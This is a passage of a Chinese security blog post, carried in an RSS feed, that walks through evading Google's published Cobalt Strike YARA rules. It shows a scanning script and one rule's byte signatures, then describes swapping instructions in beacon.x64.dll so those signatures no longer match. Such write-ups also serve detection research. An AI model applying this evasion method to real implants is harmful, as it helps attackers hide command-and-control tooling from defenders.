<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>零队</title>
    <link>https://wechat2rss.xlab.app/feed/e54af90b7ef21f732ed6d2d7a58d4aefac9f9faa.xml</link>
    <description>安全技术分享&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (零队)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM7Rk4aibhQGawhvqpCLJ3MVV4rzlK49xribtTQHhYCmwUfw/0</url>
      <title>零队</title>
      <link>https://wechat2rss.xlab.app/feed/e54af90b7ef21f732ed6d2d7a58d4aefac9f9faa.xml</link>
    </image>
    <item>
      <title>Bypass谷歌发布的165条Cobalt Strike YARA规则</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484869&amp;idx=1&amp;sn=f7078c93be2f1341f443ff5d02a37eb1</link>
      <description>前言近日，谷歌云威胁情报团队开源了一组YARA规则，以帮助防御者标记和识别Cobalt Strike及其版本</description>
      <content:encoded><![CDATA[<p>
原创 <span>归零</span> <span>2022-11-25 20:44</span> <span style="display: inline-block;">江苏</span>
</p>

<p>前言近日，谷歌云威胁情报团队开源了一组YARA规则，以帮助防御者标记和识别Cobalt Strike及其版本</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=df56fbfe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvcfrKx62vAJK6gAlemsBMhxIaia4kwz4nWH64YlfjibPrBvR6eHtzosp3t1ce88IVYCSdmcico4H5Skw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 cid="n3" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">前言</span></h2><p cid="n4" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">近日，谷歌云威胁情报团队开源了一组YARA规则，以帮助防御者标记和识别Cobalt Strike及其版本。(</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" target="_blank">https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse</a></span><span md-inline="plain" style="box-sizing: border-box;">)</span></p><p cid="n8" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><br/></p><h2 cid="n12" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">试一波</span></h2><p cid="n14" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">项目地址：</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/chronicle/GCTI/tree/main/YARA" target="_blank">https://github.com/chronicle/GCTI/tree/main/YARA</a></span></p><p cid="n18" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">使用自己的加载器上线，写个脚本批量扫一下：</span></p><pre spellcheck="false" lang="python" cid="n22" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">import</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">os</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">path</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;C:\Users\xxx\Desktop\YARA\CobaltStrike&#34;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">def</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">scan</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">path</span>):</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: red;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">file_list</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">os</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">listdir</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">path</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">file</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">in</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">file_list</span>:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fullPath</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">os</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">path</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">join</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">path</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">file</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">cmd</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;C:\Users\xxx\Desktop\YARA\yara64.exe &#34;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fullPath</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34; 11200&#34;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">result</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">os</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">popen</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">cmd</span>).<span style="box-sizing: border-box;color: rgb(0, 0, 0);">read</span>()</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">result</span>:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(51, 0, 170);">print</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">result</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">__name__</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">==</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;__main__&#39;</span>:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">scan</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">path</span>)</span></pre><p cid="n24" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">结果如下（sleep和执行命令前后结果一致）：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.46484375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=eba0430e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcfrKx62vAJK6gAlemsBMhxvN0T200N6cw0URFGv8ycWHZ3L0k9bNZcBTR9q4s9d2y59Tt6SopZNw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n5" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">命中两条规则：</span></p><pre spellcheck="false" lang="" cid="n26" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">CobaltStrike__Sleeve_Beacon_x64_v4_5_variant</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">CobaltStrike__Sleeve_BeaconLoader_MVF_x64_o_v4_3_v4_4_v4_5_and_v4_6</span></pre><p cid="n28" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">嗯，确实精准，下面开始bypass……</span></p><p cid="n34" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><br/></p><h2 cid="n36" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">CobaltStrike__Sleeve_Beacon_x64_v4_5_variant</span></h2><p cid="n39" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这条规则出自：CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara</span></p><p cid="n41" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">具体如下：</span></p><pre spellcheck="false" lang="" cid="n43" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">rule CobaltStrike__Sleeve_Beacon_x64_v4_5_variant</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">  meta:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    desc=&#34;Cobalt Strike&#39;s sleeve/beacon.x64.dll Versions 4.5 (variant)&#34;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    rs1 = &#34;8f0da7a45945b630cd0dfb5661036e365dcdccd085bc6cff2abeec6f4c9f1035&#34;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    author = &#34;gssincla@google.com&#34;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">  strings:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    /*</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      41 B8 01 00 00 00 mov     r8d, 1</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      8B D0             mov     edx, eax</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      49 8B CA          mov     rcx, r10</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      48 83 C4 28       add     rsp, 28h</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      E9 E8 AB FF FF    jmp     sub_1800115A4</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      8B D0             mov     edx, eax</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      49 8B CA          mov     rcx, r10</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      E8 1A EB FF FF    call    f_UNK__Command_92__ChangeFlag</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      48 83 C4 28       add     rsp, 28h</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    */</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    $version_sig = { 41 B8 01 00 00 00 8B D0 49 8B CA 48 83 C4 28 E9 E8 AB FF FF</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                     8B D0 49 8B CA E8 1A EB FF FF 48 83 C4 28 }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    /*</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      80 34 28 ??       xor     byte ptr [rax+rbp], 2Eh</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      48 FF C0          inc     rax</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      48 3D 00 10 00 00 cmp     rax, 1000h</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      7C F1             jl      short loc_180018E1F</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    */</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">  condition:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    all of them</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span></pre><p cid="n45" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">特征出自beacon.x64.dll，改dll特征需要注意一点：不能影响程序功能，那么最简单的方式就是找那些两条指令交换顺序是不影响的</span></p><p cid="n66" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">比如$version_sig中</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">mov edx, eax</code></span><span md-inline="plain" style="box-sizing: border-box;">和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">mov rcx, r10</code></span><span md-inline="plain" style="box-sizing: border-box;">，可参考我之前的文章（</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484793&amp;idx=1&amp;sn=7fe81d74d8ff8ab0cd8e791c6204c5d7&amp;scene=21#wechat_redirect" style="box-sizing: border-box;cursor: pointer;color: rgb(65, 131, 196);-webkit-user-drag: none;" data-linktype="2"><a href="https://mp.weixin.qq.com/s/5HYELRGm6XClvJ1ZHBHVKg" target="_blank">https://mp.weixin.qq.com/s/5HYELRGm6XClvJ1ZHBHVKg</a></a></span><span md-inline="plain" style="box-sizing: border-box;">）</span></p><p cid="n70" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">接下来掏出心爱的ida，找到对应的地方：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4300234558248632" data-s="300,640" style="" data-type="png" data-w="1279" src="https://wechat2rss.xlab.app/img-proxy/?k=aadaaa76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcfrKx62vAJK6gAlemsBMhxSmzicwQSicbwKFJ5WLB5mX46W1ic74R6CYU6dIUZCLpovmw3L1Ge2b6CA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n68" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">修改后：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.42421875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=994cb388&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcfrKx62vAJK6gAlemsBMhx7TsClqndrWLFxcjscI028asn27NuPt6icuvmxo2UgmQ9DmohoxEWwTg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n74" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">而$decoder中检测的是配置信息的xor功能，可参考我之前的文章（</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484689&amp;idx=1&amp;sn=8cf9c031f3d926c155ee5c018941b416&amp;scene=21#wechat_redirect" style="box-sizing: border-box;cursor: pointer;color: rgb(65, 131, 196);-webkit-user-drag: none;" data-linktype="2"><a href="https://mp.weixin.qq.com/s/fhcTTWV4Ddz4h9KxHVRcnw" target="_blank">https://mp.weixin.qq.com/s/fhcTTWV4Ddz4h9KxHVRcnw</a></a></span><span md-inline="plain" style="box-sizing: border-box;">）</span></p><pre spellcheck="false" lang="" cid="n78" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">80 34 28 ??       xor     byte ptr [rax+rbp], 2Eh</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">48 FF C0          inc     rax</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">48 3D 00 10 00 00 cmp     rax, 1000h</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">7C F1             jl      short loc_180018E1F</span></pre><p cid="n80" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这里段程序只有4行，看上去是没法用之前的方法改了，实际上进行一个简单分析后，同样是能改掉特征的，而且比较简单，汇编比较熟的童鞋应该很快就能发现，这里就不公开了，留给大家思考 o(*≧▽≦)ツ</span></p><p cid="n83" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">验证一下，由于rule CobaltStrike__Sleeve_Beacon_x64_v4_5_variant是all of them，而$version_sig已经bypass了，所以这里改成$version_sig or $decoder</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7211925866236906" data-s="300,640" style="" data-type="png" data-w="1241" src="https://wechat2rss.xlab.app/img-proxy/?k=c30f910b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcfrKx62vAJK6gAlemsBMhx90e9jhXiazjbm62xibvkMTbbykoM9ysZSiaxjqk458icz3Xff2veaMRQGQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n85" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">成功bypass</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.475" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=4736c916&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcfrKx62vAJK6gAlemsBMhxWroeNNeK0M5CLlbjnLzUBtduoCfanIrVEWZqNI3ZG4hAX6GSNwKewg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><h2 cid="n47" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">CobaltStrike__Sleeve_BeaconLoader_MVF_x64_o_v4_3_v4_4_v4_5_and_v4_6</span></h2><p cid="n49" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这条规则出自：CobaltStrike__Sleeve_BeaconLoader_all.yara</span></p><p cid="n51" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">具体如下：</span></p><pre spellcheck="false" lang="" cid="n30" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: 